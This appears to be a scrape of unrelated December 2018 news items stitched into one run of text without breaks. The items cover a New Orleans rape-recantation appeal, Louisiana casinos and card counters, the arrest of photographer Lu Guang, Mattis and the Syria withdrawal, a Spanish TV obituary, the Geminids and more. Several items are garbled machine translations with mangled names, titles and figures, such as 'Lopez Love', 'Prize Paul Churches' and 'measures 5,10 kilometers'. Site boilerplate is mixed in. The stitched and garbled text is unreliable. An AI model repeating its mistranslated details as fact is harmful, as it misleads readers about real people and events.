year. Fortunato had never worked for Yenni, but in a TV interview, he said he would support him if Yenni ran for another term. He later reversed himself, but his lead in the polls evaporated and he lost the race to Joe Lopinto, who had said he would not back Yenni. Three inmates fighting to overturn their convictions for raping a man in Orleans Parish Prison moved closer to winning a new trial this week after a judge said the clock for their appeal was reset when the alleged victim recanted. Byron Morgan, now 43 and suffering from a terminal illness, testified in April that a 1994 rape accusation he lodged against Louis Alexander Jr., Gerald LeBoeuf and Michael C. Williams Jr. was a lie he fabricated in a bid to get out of his jail term. While that new story essentially reopened the case, New Orleans prosecutors have argued that the men waited too long to ask a judge to toss out their convictions. But ad hoc Orleans Parish Criminal District Court Judge Dennis Waldron said Wednesday that the three men, who have been serving life terms at the Louisiana State Penitentiary at Angola since their 1995 convictions, could still appeal because Morgan's recantation came just a few months ago. Prosecutors said they will appeal Waldrons decision, a process that could put the case on hold for months. The judge has yet to rule on the substance of Morgan's claims. In the meantime, Assistant District Attorney Kyle Daly tossed a curve ball at defense attorneys for the three prisoners. Daly said officials had just uncovered the evidence box with Morgans Orleans jail clothes inside. As the cardboard box sat on a table before him, Daly added that the state would have no objection to the defense lawyers testing the clothes for DNA from semen or other contact. Morgans jail garb apparently was never tested for DNA ahead of the original trial. The proposition is a high-stakes dilemma for the inmates and their attorneys. If they run the test and the clothes bear no trace of their DNA, that could bolster their case for innocence. On the other hand, prosecutors could well maintain that the absence of DNA doesnt prove they were innocent. And a DNA match for any one of the men could undermine Morgans claim that he never had contact with any of them. Williams defense attorney, Joe Rome, said he thought the states offer might be a ploy to stall for time. Thats not my job. Thats the states job, he said of the proposed DNA test. He also raised concern that the outfit might have been contaminated during Hurricane Katrina, which swamped one of the local courthouses evidence rooms. Top stories in New Orleans in your inbox Twice daily we'll send you the day's biggest headlines. Sign up today. e-mail address * Sign Up Defense attorneys for Alexander and LeBoeuf have not said whether they will accept the district attorneys invitation. At age 17, Morgan was serving a one-year sentence for breaking into his girlfriends house when he claimed that LeBoeuf enticed him into a cell and raped him on Jan. 12, 1994. He said all three men proceeded to force him to perform oral sex on them. They were convicted at a trial in 1995 and sentenced to life. In his April testimony, Morgan said he made up the allegation because another inmate told him it would get him released. I just randomly picked somebody, Morgan said. I didnt know these guys from Adam. Morgan claimed that he spent years telling anyone who would listen including the offices of District Attorneys Harry Connick, Eddie Jordan and Leon Cannizzaro that his original accusation was false. Morgan said he also told prosecutors under Connick ahead of the trial that his claim was false, but they still pressed ahead. They also never told the defense team at the trial about Morgan's shifting stories, lawyers for the three defendants say now. However, Morgan's testimony against the men at the trial was bolstered by forensic evidence. A doctor who examined him on the day of the alleged assault saw signs of "multiple anal fissures." LeBoeuf's attorney, Beth Sgro of the Orleans Public Defenders, argued in a motion that another medical professional reported no visible injuries, and a third saw only one possible tear. Morgan's testimony in April is further complicated by the fact that he claimed in 2012 that he had been raped, again, inside the New Orleans jail. His allegations that time were strikingly similar to the original rape claim, and the Orleans Parish Sheriffs Office denied that a sexual assault took place. Morgan now says that the fresh rape accusation was an attempt to focus attention on the earlier case. Back in 2012, I purposely said it all over again ... so that theyll know that somethings not right, because I could not get through to these people, he said in April. As the three defendants sat together in shackles in Waldron's courtroom, their family members packed the benches in the audience. Williams mother, Desiree Williams, said afterward that Morgans latest tale gave her hope. I see him coming home, and before, I never saw him coming home, she said. Citizens denied their legal rights know they can always rely on the press. When the downtrodden have nowhere else to turn, the crusading journalist will ride in to fight for justice. The latest victims of oppression abandoned by the authorities are those casino patrons who are still getting kicked out for counting cards at blackjack, although it became illegal in Louisiana Aug. 1 to bar players on grounds of superior skill. When The Advocate's heart-rending reports of this outrage appeared in November, it seemed that nothing, save a sudden access of public spiritedness, could bring the casinos to abide by the law. It did not establish penalties for violations, and State Police said that neither they nor the Louisiana Gaming Control Board had any duty to enforce it. It doesn't matter whether your heart bleeds for card players punished for mathematical prowess, or you think perdition awaits them. Civil society is seriously undermined if we allow corporations to thumb their noses at the laws our elected representatives pass. Since the scofflaws have nothing to fear from the Gaming Board and the State Police, we must seek some other agency with a livelier respect for democratic principles. We have some relevant experience here, for when the law against smoking in restaurants and other public places was passed in 2006, many sheriffs' offices and police departments were already overstretched and reluctant to take on extra responsibilities. The law said that any law enforcement could cite an illicit smoker and issue a court summons. Since the penalty for a first offense was a mere $25, such a rigmarole hardly seemed worth a cop's time when serious crime was rampant. But it wasn't necessary for the cops to devote much time and manpower to the cause of clean air, because restaurateurs must obey all state laws in order to renew their liquor licenses every year. The state Office of Alcohol and Tobacco Control thus had the power to put smoke-filled restaurants out of business, so we can all breathe easily when we dine out. Casino operators squawked when smoking bans were introduced in New Orleans and Baton Rouge, although they're still in business. The loss of a liquor license, however, could be catastrophic given that alcohol, since it dulls inhibitions and undermines judgment, is the mother's milk of the gambling business. A license is required even to give drinks away, so it would be a simple matter to make casinos follow the new law. It is true that healthy air is a worthier cause than blackjack justice, but the answer to banned card counters might be to protest the renewal of a casino's liquor license. The current regime at the Office of Alcohol and Tobacco Control would seem to have the power to make outlaw casinos toe the line. The gambling business employs so many people, and generates so much in tax revenues, that it may be hard to imagine that state officials would take up for card counters. But, if casinos can just flout state law, maybe they feel they are above it, and that is not supposed to wash in America. If questions arose at license renewal time, a new respect for the rule of law might suddenly emerge. A more hospitable attitude is not, in any case, likely to bankrupt the house, which has the advantage in every form of gambling offered. That advantage may be offset, or even slightly reversed, if players can keep track of the run of cards and figure what the dealer is likely to turn up next. But only a tiny minority try it, and only the smartest of them will regularly win. An inept card counter may increase his stake at the wrong times and lose even more. Although card counting has never been illegal, casino security officers have always been trained to spot it and clamp down hard. Baton Rouge attorney Don Loehr says he was detained when trying to leave the Treasure Chest in Kenner after a successful spot of card counting. Two other advantage players, as they call themselves, Justin Grant and Jordan Kerr, allege in a federal lawsuit that they were unlawfully collared and handcuffed at Harrah's in New Orleans in July. Maybe it is no surprise that casinos have greeted the new law with contempt. Email James Gill at Gill1407@bellsouth.net. Actress Eliza Dushku broke her silence on Thursday about a $13 million settlement she reached with CBS over workplace sexual harassment, saying she was fired from a television show as retaliation for complaining about onset treatment. In an essay published by The Boston Globe, Dushku wrote that she was written off the show Bull after she confronted actor Michael Weatherly about sexually charged comments he made onset. Dushku wrote that she initially declined to comment about the settlement to The New York Times, which first reported on its existence in a story published last week, because she wanted to honour the terms of the agreement. "The narrative propagated by CBS, actor Michael Weatherly, and writer-producer Glenn Gordon Caron is deceptive and in no way fits with how they treated me on the set of the television show Bull and retaliated against me for simply asking to do my job without relentless sexual harassment," she wrote. Melbourne Express, Friday, December 21, 2018 Were sorry, this service is currently unavailable. Please try again later. Dismiss David Eastman's human rights case against the ACT government over the years he spent in prison for murder will appear for a mention in January. Mr Eastman was convicted in 1995 of murdering former police chief Colin Winchester and served nearly 19 years of a life sentence before a judicial inquiry in 2014 recommended the conviction be quashed. The ACT Supreme Court quashed the conviction and ordered a retrial. A compensation claim against the government based on Canberra's human rights laws had been put on hold for three years while Mr Eastman awaited retrial for the January 1989 killing. A helicopter armed with cameras that can track bushfires from several kilometres away and can stream vision to mobile phones is the new weapon against bushfires this summer. Firebird 100, leased to the ACT this bushfire season, will be able to monitor fires using infrared cameras that can zoom in to the fire front from more than 10 kilometres away. Camera systems officer Petri Miniotas, Senior technician James Kagel, and Pilot of Firebird 100 Morgan Ford. Credit:Jamila Toderas Footage from the cameras can be live-streamed to firefighters on the ground and to the ACT Emergency Services Agency headquarters in Fairbairn. The helicopter is the third of its type in Australia. The technology has also been used in Sydney and Melbourne. The renowned documentary filmmaker Lu Guang, of 57 years, disappeared at the beginning of November Photojournalist of reference, Lu was the winner of the World Press Photo in 2004 and was placed third in the years 2011 and 2015 The chinese authorities confirmed the arrest of the prestigious photographer Lu Guang, who disappeared without a trace at the beginning of November in the troubled northwestern region of Xinjiang, said today his wife, the independent newspaper South China Morning Post. the wife of The fotografo, Xu Xiaoli, who lives in the united States, told this medium that the family of Lu in China received a verbal notification of the arrest by the police of Xinjiang for reasons not specified. "we can Not say what to charge specific" (weighs upon him), said the woman, who said that the city police xinjianesa of Kashgar notified the family on 6 December that Lu had been arrested formally the previous day. "we Just hired a lawyer for him in Beijing because it is convenient to go to Xinjiang from Beijing. The lawyer submitted a request to the authorities asking for a meeting with Lu Guang, who was not granted", stated Xu. The Executive of Beijing look with a magnifying glass any information related to Xinjiang, a region that is now in the crosshairs of the NGO defenders of human rights because of the "fields of re-education" in which the authorities admitted to the citizens that they consider subversive. Lu has a resident card in the united States, where live his wife and children, even though he lives in China. According to Xu, Lu traveled to Urumqi -the capital of Xinjiang - on the 23rd of October at the invitation of a friend to attend various photographic events: "The friend that invited Lu to Xinjiang was also apprehended by the police. I don't have more information on him," wrote Xu on his social network account Twitter. his 57 years, Lu has won several international awards for his work in documenting the environmental impact of the last few decades of economic growth in fast-paced China, among them the first prize delWorld Press Photo and the third on two other occasions. According to the criteria of Updated Date: 20 December 2018, 08:01 Learn more A man is dead and a woman and boy are fighting for life after being pulled from the water in separate incidents on Thursday. The man, believed to be in his 80s, could not be revived after being pulled from the surf on the Sunshine Coast just after 1pm. A woman and a child have been taken to hospital, both in a critical condition. Credit:Seven News. Paramedics were called to treat the man, believed to be in his 80s, who was swimming at Kings Beach and arrived on scene just after 1pm. They were unable to revive him. Earlier this month, Mr Elder, a former Liberal MP, went on leave after the church hired external consultants KordaMentha to investigate a workplace complaint. The resignation was confirmed in a statement from Archbishop of Melbourne Peter Comensoli, who thanked Mr Elder for his dedicated and loyal service to Catholic education. Stephen Elder, Chief executive of the Catholic Education Commission of Victoria. Stephen Elder, Chief executive of the Catholic Education Commission of Victoria. After 13 years in the top job, Catholic Education Melbourne and Catholic Education Commission of Victoria executive director Stephen Elder will step down for a period of rest and renewal. The head of Victorias Catholic education sector has resigned amid an investigation into a workplace complaint. In a statement released at the time, the Catholic Archdiocese of Melbourne said Mr Elder would be "absent from the office for a period of time while an internal complaint associated with workplace matters is examined". Mr Elder was instrumental in securing billions in extra funding for Catholic schools from the federal government during the recent Gonski 2.0 negotiations, but his tactics displeased some members of the church. Mr Elder was also accused of creating a rift between the independent and Catholic school sectors, which had previously worked together to secure the best funding deal for their students. He alleged independent schools had made fraudulent claims for students with a disability, been privy to "special deals" with the government, and misused capital works funding. The charities commission launched an investigation this year over Catholic Education Melbourne's intervention in the Batman by-election. The education body sent home letters with students and made robocalls endorsing Labor's education policies. The Andrews government has hit cleaning group Spotless with a $180,000 fine for failing to properly clean Victorian state schools. Principals have complained about filthy toilets, overflowing rubbish bins and dirty carpets in the wake of Labors overhaul of school cleaning contracts. The bulk of the complaints relate to Spotless, which is in charge of cleaning schools in Melbourne's inner-east. Spotless has been fined $180,000 for failing to clean Victorian state schools properly Credit:Brendan Esposito Its understood the Education Department will cancel Spotless lucrative contract to clean schools next year due to its poor performance. A preventable infection that turns sufferers yellow is making an unusual resurgence in Victoria, with health authorities reporting the states worst outbreak of hepatitis A since the introduction of modern sewerage. Local cases of the highly contagious liver infection have typically been rare. Most of the 30 to 80 infections reported across the state each year are related to travellers returning from endemic countries where people are forced to live in less-hygienic conditions. Hepatitis A is typically seen in the developing world, but has made a resurgence in Victoria. Credit:Mehau Kulyk But the health department is warning that hepatitis A cases are now spreading between Victorians, with 263 cases so far this year the highest number since records began in 1991. WA Police have ramped up their search for a man who attempted to abduct two young girls from inside a Forrestfield home on Wednesday evening. Police started their search for the man after he allegedly knocked on the door of a home in Anderson Street in Forrestfield about 10.15am. Midland detectives are leading the investigation. Credit:WA Police A 67-year-old woman answered the door, and he told the woman he was there to deliver a letter. He then pushed his way inside, and approached the womans three grandchildren who were playing near the front of the house. Most Australians will pay $28 less on their annual electricity bill within two years largely due to a measure soon to be killed off by the Morrison government that encourages renewable energy and cuts carbon emissions. A report into residential electricity price trends by the Australian Energy Market Commission, due for release on Friday, comes as Energy Minister Angus Taylor repeated his governments mantra on lowering electricity bills and downplayed a revolt from the states demanding more federal action on climate change. The report found electricity prices will generally be stable or falling over the next two years due to a pipeline of new renewable energy supplies that will drive wholesale costs down. The Australian Energy Market Commission says large-scale electricity projects supported by the Renewable Energy Target will drive falling prices over the next two years. The Morrison government will not extend the target after 2020. Credit:Joe Armao By mid-2020, the average consumer will pay about $28 less than today, as the national average annual power bill falls from $1367 to $1338, the commission says. Alleged Liberal Party branch stacker and would-be political power broker Marcus Bastiaan and his mates have bigger problems than the publication of their vulgar text messages on the front page of Thursdays The Age. Their approach to politics, and their cynical, texted attitudes to ethnic and religious factions they helped create, is now exposed as so toxic they are being held responsible by party elders for rendering the Liberals unelectable in Victoria. Liberal steering committee chair Paul Mitchell (left) and former Victorian vice-president Marcus Bastiaan. Credit:Chris Hopkins, Jesse Marlow Bastiaans bold strategy before the election was to try to revitalise the Victorian Liberal Party by pitching to the conservative right through the recruitment of hardline religious groups. That plan is shredded. Loading The 68-year-old retired general was second only to Trump in issuing blunt military threats to North Korea before the President's abrupt decision in March to seek rapprochement through one-on-one diplomacy with North Korean leader Kim Jong-un. Mattis is said to be among the strongest sceptics about the pledge of denuclearisation that Trump claims he received from Kim at a summit in June. In the beginning of his presidency, Trump often pointed to the military men he brought into his administration as evidence of his seriousness about taking a get-tough approach on national security. But all those retired and current military officers are now gone (former national security advisers Michael Flynn and H.R. McMaster), on the way out (chief of staff John Kelly) or in the case of Mattis, pushed to the sidelines. "I see my generals - those generals are gonna keep us so safe," Trump said during a lunch shortly after he was sworn in as President on January 20, 2017. "They're gonna have a lot of problems, the other side." He said the group of military men he had assembled were out of "central casting" and singled out Mattis. Trump described his Defence Secretary James Mattis, a retired army general, as someone out of central casting. Credit:AP "If I'm doing a movie, I pick you, General, General Mattis," Trump told the audience. In the beginning of the administration, Mattis maintained his influence with Trump even as he repeatedly argued against some of the President's iconoclastic impulses - trying to explain with maps and charts how his decisions could hurt American interests, officials who have watched those interactions said. Mattis often wove in discussion of international trade and US foreign aid, knowing that those subjects were likely to hold the President's interest, those people said. Loading The relationship between the two men has shown signs of strain in recent months. Trump continues to weigh up whether he should keep Mattis in the role and tells advisers in the Oval Office that he doesn't agree with his Defence Secretary on much, according to current and former administration officials. He rarely sees Mattis these days and does not speak to him as often as he did earlier in the administration. Mattis, for his part, has told colleagues that he wants to stay. David Lapan, a former top military spokesman and aide to Kelly when Kelly was Trump's first Homeland Security chief, said Trump had taken Mattis and the Pentagon by surprise several times. He cited the ban on transgender troops, Trump's now-cancelled plan for a pull-out-the-stops military parade and the order to send troops to the south-west border. Loading "This is a whole different level than some of those things," Lapan said of the Syria decision, which involves deployment of US forces to a war zone. Mattis will probably seek ways to manage the troop departure rather than make an issue out of opposing it, Lapan said. "If it's a lawful order, and presumably this one would be, and you don't agree with it, you either carry it out or leave," Lapan said. Mattis would probably approach the matter by saying, 'Is there room for this to be changed in some way?'" Lapan said. Trump sees the Syria decision as a campaign promise and often complains that if it was up to his military advisers, he would never bring troops home from anywhere, White House aides said. Kelly - the only other member of "my generals" still on Trump's staff - had also argued in favour of keeping the more than 2,000 US forces in Syria. He, along with Mattis and top congressional Republicans, argued that force is an important hedge against terrorism and against Iranian and Russian influence. Trump made clear on Wednesday he was no longer heeding their advice, tweeting: "We have defeated ISIS in Syria, my only reason for being there during the Trump presidency." Later in the day he added: "After historic victories against ISIS, it's time to bring our great young people home!" White House press secretary Sarah Sanders later said that the mission is complete because the terrorist group's "territorial caliphate" had been destroyed. US officials assess that while the Islamic State has lost almost all its physical foothold in Syria, some fighters remain in the country. Pentagon spokeswoman Dana White said that "the Coalition has liberated the ISIS-held territory, but the campaign against ISIS is not over. "We have started the process of returning US troops home from Syria as we transition to the next phase of the campaign. We will continue working with our partners and allies to defeat ISIS wherever it operates." Mattis has been one of the biggest sceptics of Trump's friendly approach to North Korea. Credit:AP Mattis had lots of company in arguing US troops need to remain in Syria, including from the administration's special envoy for the defeat of the Islamic State, Brett McGurk, who told reporters last week that US forces would remain in place to secure their military gains. "It would be reckless if we were just to say, 'Well, the physical caliphate is defeated, so we can just leave now,' " McGurk said December 11. "I think anyone who's looked at a conflict like this would agree with that." Mattis said in September that while the military mission in Syria is focused on the defeat of the Islamic State, he cited destabilising Iranian and Russian influences in saying that US forces wouldn't pull out abruptly. Loading Dunford said earlier this month that the Pentagon still had "a long way to go" to train local counter-terror forces in Syria. Both Secretary of State Mike Pompeo and national security adviser John Bolton have recently said the goal in Syria is broader than simply countering the Islamic State. A US official who agreed to brief reporters on the condition of anonymity on Wednesday would not provide details of the internal policy disagreement but said Trump himself has been consistent in wanting to pull US forces out. "It was the President's decision to make, and he made it," the official said. The decision was apparently made on Tuesday. It was not clear whether Mattis or Pompeo knew of Trump's decision to make his announcement on Wednesday morning. Throughout both cabinet departments, officials appeared caught unawares when the President's tweet appeared. Republican legislators were stunned and angry, with several demanding answers from Vice-President Mike Pence at a Republican lunch on Wednesday about why they were kept in the dark. "I don't know what it is. I haven't been briefed. I am completely blindsided, and I think there will be a lot of bipartisan concern," Senator Lindsey Graham of South Carolina said in an interview. "ISIS has been dealt a severe blow but are not defeated. If there has been a decision to withdraw our forces in Syria, the likelihood of their return goes up dramatically," while Iran, Russia and Syrian President Bashar al-Assad benefit from the US void, Graham said. Senators told Pence that "we did not appreciate reading about this decision in the paper", Graham added. Lamborghini Celebrating Successful Launch Year for Super SUV SANTAGATA BOLOGNESE, Italy - December 20, 2018: 2018 was an exceptional and truly momentous year for Lamborghini, full of successes and marked by the introduction of its third model, the Super SUV Urus. This is a vehicle that has opened up a new era for Lamborghini and one that became highly desirable immediately, with orders exceeding even the most optimistic expectations. The Lamborghini Christmas Drive was held to bring a positive and intense year to a fitting end: a 750 kilometer long tour held on 13 and 14 December to test the handling of the Urus and of its predecessor, the LM002, in wintry conditions and on mountain roads that heighten the pleasure of being behind the wheel and the sporty feel of both vehicles. The city of Bruneck has long been a friend of Lamborghini and from where the spectacular Christmas tree in the Sant Agata grounds comes: the city welcomed the convoy to the old town center and the Christmas market. The brightly decorated shop windows and Christmas stalls provided a magical backdrop for the cars, with many sporting special displays, and even biscuits baked in the shapes of the two models for the visit. The Lamborghini group was accompanied by the usual bright blue sky and sub-zero temperatures as they made their way to Lake Braies, now completely frozen over and covered in white, a location offering the ideal occasion to try out the vehicles in snowy conditions. The Lamborghini Urus is the vehicle that has led Lamborghini to double its production site, going from 80,000 to 160,000 square meters in just over a year; increasing the number of its employees with 500 new recruits; and to an estimated doubling of sales volumes by 2019 compared to the period prior to its launch. The Urus is the most powerful SUV in the world: it has a 4-liter twin-turbo V8 engine, delivering 650 HP and 850 Nm of torque to guarantee maximum performance. It accelerates from 0 to 100 km/h in 3.6 seconds and can reach a top speed of 305 km/h. The black LM002, a third series owned by Lamborghini, chassis #12231, was built in 1990 and delivered to dealer Mediterranea in Nice (France) for collection by its first owner, a resident of Monte Carlo. It was subsequently reacquired by Automobili Lamborghini and then underwent a complete restoration by Polo Storico. The work started in 2016 and concluded in 2017, including the bodywork and interiors and a thorough overhaul of the mechanics. Based at the companys HQ in SantAgata Bolognese, Lamborghini Polo Storico is the specialized unit dedicated to the restoration and certification of Lamborghini models that have been out of production for at least ten years (from the Lamborghini 350 GT to the Diablo). The division is also in charge of preserving archives and records, and of managing the supply of original spare parts for classic cars. It isnt often that a group of self-described villains is ushered inside a retirement home after dark, but that is exactly what happened Monday in Steinbach. Hey there, time traveller! This article was published 20/12/2018 (1078 days ago), so information in it may no longer be current. It isnt often that a group of self-described villains is ushered inside a retirement home after dark, but that is exactly what happened Monday in Steinbach. Six members of Bearded Villains Manitoba arrived at Fernwood Place with a sack of Christmas cards sent in from all over the world. A dozen seniors were all smiles as each received a small stack of personalized greetings penned by far-flung members of the international beard club. The cards, 140 in all, bore addresses from New Zealand, Scotland, Germany, Holland, and Kuwait, to name a few. "We wanted you to know that people are thinking about you this holiday season," Collin Toews told a group of residents assembled on Fernwoods main floor. Toews, who grew up in Steinbach and now resides much farther north, is captain of the clubs Manitoba chapter, which formed in July. The idea of crowdsourcing Christmas cards for those who may feel lonely during the holidays came to him at home one evening. "I live in Thompson, so I have a lot of free time to think about stuff," he joked. Fernwood, where his late great-grandfather used to reside, seemed like a good place to stage the drop-off. He put out a call for cards and his fellow Bearded Villains quickly responded. "Within 24 hours, we had 106 guys from around the world sign up," he said. Three dozen more soon joined. Tazer Taves, as hes known to fellow members, wasnt caught off guard by the enthusiastic response. "Honestly, no surprise at all," he said. "These guys are legitimately friendly." After distributing cards on the main floor, the group went door to door upstairs to hand out the remainder. Resident Anne Loewen welcomed the denim-clad groupToews, Joe Harding, Rob St. Godard, Curtis Fazackerley, Brian Marlow-Goldring, and Pat LeQuereinto her living room for a chat. When John Penner told the Villains his eyesight made reading difficult, they opened the cards and read the greetings aloud. "You guys are very kind," Penner said. Toews said fostering community is part and parcel of the Bearded Villains philosophy. The clubs mission statement calls members to unite in acts of "fraternity, charity and kindness." Stay informed The latest updates on the novel coronavirus and COVID-19 delivered to your inbox every weeknight. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. "Brotherhood is the core of Bearded Villains," Toews said. "I think the biggest thing is acceptance, no matter who you are." (But not just any facial hair will do. This reporter was told his beard would need to reach four centimetres in length before he was eligible for membership.) Formed in Los Angeles, Calif. in 2014, Bearded Villains organize an annual "world meet" and hold monthly video conferences, but the majority of local meet-ups are informal, and can happen in person or online. Membership is one way to make friends in a new town. Harding recently joined the Manitoba chapter after moving to Winnipeg from Ontario, Toews said. A discounted flight allowed Toews to participate in the Christmas card distribution, but he said it wont be the groups last appearance in the city. With the help of St. Godard, who lives in Steinbach, Toews hopes to recruit enough members to organize a beard contest at next years Summer in the City festival to raise funds for South East Helping Hands. Juan Manuel Martin de Blas, journalist, film director and screenwriter, has died in Madrid at the age of 72, a victim of cancer. The name of Martin de Blas is linked to the history of Spanish television. Responsible for historical titles as This is my land (2), performed important positions in RTVE during the stage of the governments of the PSOE, as the director of programs of TVE. Natural and Avila and holds degrees in Sociology, Political Science and Journalism, he joined TVE in the founding team of the second string, and in the year 74 was named director of Programs in Barcelona. Between February of 1981 and 1986 he was director of External Production and Coproduciones, during the greater part of the stage in the General Direction of RTVE, Jose Maria Calvino (82-86). Then, Pilar Miro, the new responsible of RTVE, he was appointed to the post of deputy director general of the department of Programs of TVE, but he resigned in November 1986, after a month in the position, and arguing that it does not feel qualified for the position. Days after the arrival of Luis Solana to the public corporation, in February 1989 he was appointed director of Programs of TVE, position in which he remained until he resigned in September 1990. During this period, in the first months of 1990 rejected the possibility of holding the General Directorate of the RTVM, the public radio-television of madrid. A month later, in October 1990, the director general of RTVE Jordi Garcia Candau appointed him as managing director of Projects 92 of the public television, where it happened to Alfonso Cortes Cabanillas. From this position he led the team that planned and covered the Olympic Games of Barcelona '92, an event to which the television channel dedicated to 2000 people. once you have concluded the celebrations of the Fifth Centenary, in January of 1993, Garcia Candau appointed him director of the newly created Directorate of New Projects of TVE, where tentia as committed to take care of the future plans of the entity, including the use of the channels of Hispasat. From this position, as manager of the Channels by Satellite, launched between the years 1993 and 1994, satellite channels, Canal Clasico, Teledeporte, TVE International and Hispavision. in mid-June of 1994 was formed by all the television networks of national scope (public and private) the society Cotelsal, in charge of the marketing channels through Hispasat. In this he was a member of its board of directors on behalf of the TVE and it coincided with the advisor to Pio Cabanillas, by Canal Plus. The director general Lopez Love put to the front since its creation, the January 24, 1997, TVE-Themed, the subsidiary of TVE on the Digital Platform. But two months later, in mid-march, he was replaced as director and sole administrator of the latter by Marine Pena, at the same time that he was resigning from his responsibilities as manager of the Satellite Channels. After the appointment of Pio Cabanillas in the General Direction of RTVE, in the first days of December of 1998 he was appointed advisor to the director general. Since February 1998, was in charge of the direction of the series of TVE, This is my land, on which he used to a writer representative to talk about the city in which it has lived, such as Francisco Umbral, Manuel Vicent, Ana Maria Matute, Carlos Castilla del Pino, Jose Saramago and Julio Llamazares. This series had an initial delivery in 1981 and subsequent, the third in 2000, that had its beginning with Terenci Moix, and the fourth in 2005 that saw figures such as Carlos Fuentes, Rodrigo Rey Rosa, Eduardo Galeano, Tomas Eloy Martinez or Alfredo Bryce Echenique. His next documentary on TVE was the address since October of 2001-series of 12 chapters in Praise of the light, about the Spanish architecture, by which they engaged the architects the more relevant of the last few decades (Bohigas, Calatrava, Siza, Moneo or Zaera). It was premiered in April 2003 in La 2 of TVE. In 2006, when he performed with Manuel Vicent the series For the path of memory, was forced to leave public television, as prejubilado, to be affected by a Record of Employment Regulation (ERE) in RTVE. In June of 1983 she was given the Prize Paul Churches, and in October 2012 he was awarded one of the Prizes Talent 2012 of the Academy of Television. According to the criteria of Updated Date: 20 December 2018, 20:01 Learn more Meghan Markle and Queen Elizabeth. Photo: WPA Pool/Getty Images Earlier this week, Meghan Markles messy father Thomas Markle Sr. gave yet another interview to the press: a TV interview to Good Morning Britain, just days after an exclusive with the Daily Mail. Right on time, Vanity Fair published an in-depth report on Wednesday about the Markle family, in which reporter Vanessa Grigoriadis looked into what exactly led to the breakdown of the Duchess of Sussexs paternal side of her family. The report is simultaneously heartbreaking, frustrating, and fascinating, and definitely worth a read, but one of the many things it revealed is further insight into just how the palace has responded to the Markle family drama. Namely, Queen Elizabeth and her staff reportedly wanted to intervene when Thomas began airing his dirty laundry publicly but Meghan stopped them. The drama with the Markles seemed to begin when Meghans half-sister, Samantha, began speaking out against her in the press. But then, according to Vanity Fair, the paparazzi started staking out Meghans fathers home in Mexico, and unflattering images of him buying stuff at a convenience store circulated. Samantha then concocted a plan to shape her fathers image by staging paparazzi photos of him getting fitted for his royal wedding suit and looking at a picture-book of the U.K., but that scheme was quickly revealed. As negative press began to mount, Thomas started speaking to TMZ and there was the back and forth about his health problems and whether hed attend the royal wedding. More interviews followed. Meghan and Prince Harry have reportedly been coping with this by staying silent and asking members of the royal family to not intervene, including Queen Elizabeth, who apparently wanted to do something to help. Per Vanity Fair: She was very concerned that it [the Markle situation] was spiraling out of control, which it was, says one observer. Buckingham Palace wanted to be able to do something and be proactive and make the situation go away. It was a direction from the Queen, so her courtiers were under strict instructions to sort it out. But Kensington Palace was not singing from the same hymn sheet, and that was because the message was coming from Meghan. She didnt want to engage and thought that she could handle it on her own. The observer went on to say that this led to tension (the keyword surrounding all the royal drama lately!) between the two courts and that Meghan is considering speaking to her dad again on a probationary basis as long as he does not talk to the press. Read the full report here. Stay in touch. Get the Cut newsletter delivered daily Email This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply. Terms & Privacy Notice By submitting your email, you agree to our Terms and Privacy Notice and to receive email correspondence from us. Geminids 2018: what time, how and where to see the rain of stars this night Where to see the geminids in every city of Spain? The best places to observe the parade of stars The Geminids, the fragments of an asteroid The Geminids, probably the best 'star rain' of the year if it were not because it takes place in December and tends to be marred by bad weather, will have its peak this week, during the early morning hours of Thursday to Friday. And if you are things you are always, there is Google to remind it with one of its doodle, this time with a series of illustrations that tell you why this phenomenon occurs. This kind of shows, popularly called 'rain of stars', occur when the Earth crosses the orbit of a comet, stellar objects that are leaving a wake of gas and dust that enter the earth's atmosphere disintegrate and shine. The case of the Geminids is "very special" because this meteor shower does not come from a comet but from an asteroid, Phaeton, (for Phaethon, the son of Helios, god of the Sun), a comet exhausted without volatile elements that was discovered in 1983. Phaeton, which measures 5,10 kilometers, is about the Sun every 1.4 years, but it is, also, the asteroid that is closest to the sun of all the known, more so even than the planet Mercury, an approach that makes some of its waste to burn, forming the tail of gravel which gives rise to the meteor shower. The geminids, like the famous Perseids of summer, are one of the shows "most brilliant and regular of the year and is worth trying to observe them", explains to Efe, the astronomer at the National Astronomical Observatory (OAN), Mario Tafalla. "If the weather is fine, this year is a good year to see the meteor shower because the Moon is in crescent phase, which means that it will not be very bright," he says. How to see the meteor geminids Although the rain of meteors began the day 4 of December, this astronomical phenomenon recorded its maximum during the early morning of Thursday (13) Friday (14) of December, at which time it will be able to see "one or two meteors per minute, although the rain will be observable until day 17. in order To enjoy it you need only to have a good view and look up at the sky past midnight, and in the opposite direction to the Moon (to avoid its brightness and improve the contrast). This rain of stars appears to arise from the constellation of Gemini, from which it takes its name, but "what is certain is that the show is seen all over the sky, you do not even need to know where is that constellation," says the astronomer. During the night of Friday, from 22:30 local time, this meteor shower can be viewed live from the Observatorio del Teide (Tenerife) through sky-live.tv a channel also be broadcast live footage from the Observatory of High-Energy HESS (Namibia) and from the municipality of Olivenza (Badajoz). three transmissions are part of the Initiatives against the Light Pollution of the european project STARS4ALL, which has the objective of defending the right to a dark sky and denounce the tremendous impact of light pollution around the world. According to the criteria of Updated Date: 20 December 2018, 20:01 Learn more Wooden swings for toddlers made in a small town near Taumarunui have been named as a favourite by Kourtney Kardashian. The eldest Kardashian sister featured Solvej swings, made in the township of Matiere, on her Christmas wishlist, posted on her personal blog and Instagram page. Solvej, pronounced sool-vay, is a 25-year-old business that makes Scandinavian-style wooden swings for children. It is named after Solvej Mortimer, the daughter of founders Thomas Mortimer and Jenny Etherington. And now the head of marketing Solvej Mortimer said the makers had never watched Keeping Up With The Kardashians and had no idea how the swings caught the celebrity's eye. 5 Explosive Facts about James Comey Former FBI Director James Comey testified in a closed-door congressional hearing. The House Judiciary and Oversight and Government Reform committees sought answers regarding the origins of the FBI investigation of Trump-Russia. The key takeaways are that Comey provided few details that were not already known and appeared forgetful, replying I dont know, I cant remember, or I dont recall, at least 236 times, according to the Judiciary committee. Comey reportedly went to bat for former FBI agent Peter Strzok who was fired earlier this year for political bias. Comeys testimony stands in stark contrast to a Department of Justice (DOJ) inspector general (IG) report from June. The June IG report revealed Comey broke protocol in his handling of the Clinton email investigation. The IG provided examples of widespread political bias and misconduct at the FBI under Comeys tenureincluding a lack of candor about media leaks. President Donald Trump immediately blasted Comey on Twitter following the hearing: James Comey just totally exposed his partisan stance by urging his fellow Democrats to take back the White House in 2020. In 